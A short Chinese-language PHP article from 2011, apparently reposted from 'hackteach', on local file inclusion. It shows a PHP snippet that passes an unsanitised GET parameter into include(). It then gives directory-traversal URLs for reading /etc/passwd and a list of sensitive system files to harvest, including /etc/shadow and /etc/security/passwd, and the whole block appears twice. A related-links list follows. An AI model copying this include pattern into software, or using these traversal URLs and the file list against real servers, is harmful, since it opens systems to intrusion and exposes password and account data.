php 偽造本地文件包含漏洞的代碼
更新時(shí)間：2011年11月03日 23:33:36 作者：
php 偽造本地文件包含漏洞的代碼,大家一定要注意防范。
代碼:
<?php
$page=$_GET['page'];
include($page.'php');
?>
你可以這樣使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd
獲取更多數(shù)據(jù):
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
來(lái)自hackteach
復(fù)制代碼 代碼如下:
<?php
$page=$_GET['page'];
include($page.'php');
?>
你可以這樣使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd
獲取更多數(shù)據(jù):
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
來(lái)自hackteach
相關(guān)文章
php正則提取html圖片(img)src地址與任意屬性的方法
下面小編就為大家?guī)?lái)一篇php正則提取html圖片(img)src地址與任意屬性的方法。小編覺(jué)得挺不錯(cuò)的，現(xiàn)在就分享給大家，也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2017-02-02
PHP中使用crypt()實(shí)現(xiàn)用戶身份驗(yàn)證的代碼
在開(kāi)發(fā)PHP應(yīng)用中如果不想自己開(kāi)發(fā)新的加密算法，還可以利用PHP提供的crypt()函數(shù)來(lái)完成單向加密功能2012-09-09
phplock(php進(jìn)程鎖) v1.0 beta1
PHP在多進(jìn)程模式下（并發(fā)的web訪問(wèn)）由于沒(méi)有內(nèi)置的鎖支持，在處理一些資源的之后，很容易出現(xiàn)并發(fā)性問(wèn)題。2009-11-11
PHP函數(shù)checkdnsrr用法詳解(Windows平臺(tái)用法)
這篇文章主要介紹了PHP函數(shù)checkdnsrr用法,分析講解了在Windows平臺(tái)使用checkdnsrr函數(shù)的方法,需要的朋友可以參考下2016-03-03
PHP依賴(lài)注入容器知識(shí)點(diǎn)淺析
在本篇文章里小編給大家分享的是一篇關(guān)于PHP依賴(lài)注入容器知識(shí)點(diǎn)內(nèi)容，有興趣的朋友們可以學(xué)習(xí)下。2020-01-01
PHP與SQL語(yǔ)句寫(xiě)一句話木馬總結(jié)
在本篇文章里小編給大家整理的是關(guān)于PHP與SQL語(yǔ)句寫(xiě)一句話木馬的相關(guān)知識(shí)點(diǎn)，有需要的朋友們學(xué)習(xí)下。2019-10-10
PHP生成各種隨機(jī)驗(yàn)證碼的方法總結(jié)【附demo源碼】
這篇文章主要介紹了PHP生成各種隨機(jī)驗(yàn)證碼的方法,結(jié)合具體實(shí)例形式總結(jié)分析了php常用的生成驗(yàn)證碼操作相關(guān)技巧,并附帶demo源碼供讀者下載參考,需要的朋友可以參考下2017-06-06
用PHP讀取flv文件的播放時(shí)間長(zhǎng)度
用PHP讀取flv文件的播放時(shí)間長(zhǎng)度的代碼，需要用的朋友可以參考下。2009-09-09
php中mail函數(shù)發(fā)送郵件失敗的解決方法
這篇文章主要介紹了php中mail函數(shù)發(fā)送郵件失敗的解決方法,涉及針對(duì)Linux運(yùn)行平臺(tái)相關(guān)組件的配置技巧,具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2014-12-12
PHP通過(guò)GD庫(kù)實(shí)現(xiàn)驗(yàn)證碼功能示例
這篇文章主要介紹了PHP通過(guò)GD庫(kù)實(shí)現(xiàn)驗(yàn)證碼功能,結(jié)合實(shí)例形式分析了php驗(yàn)證碼相關(guān)圖片繪制、輸出操作實(shí)現(xiàn)技巧,需要的朋友可以參考下2019-02-02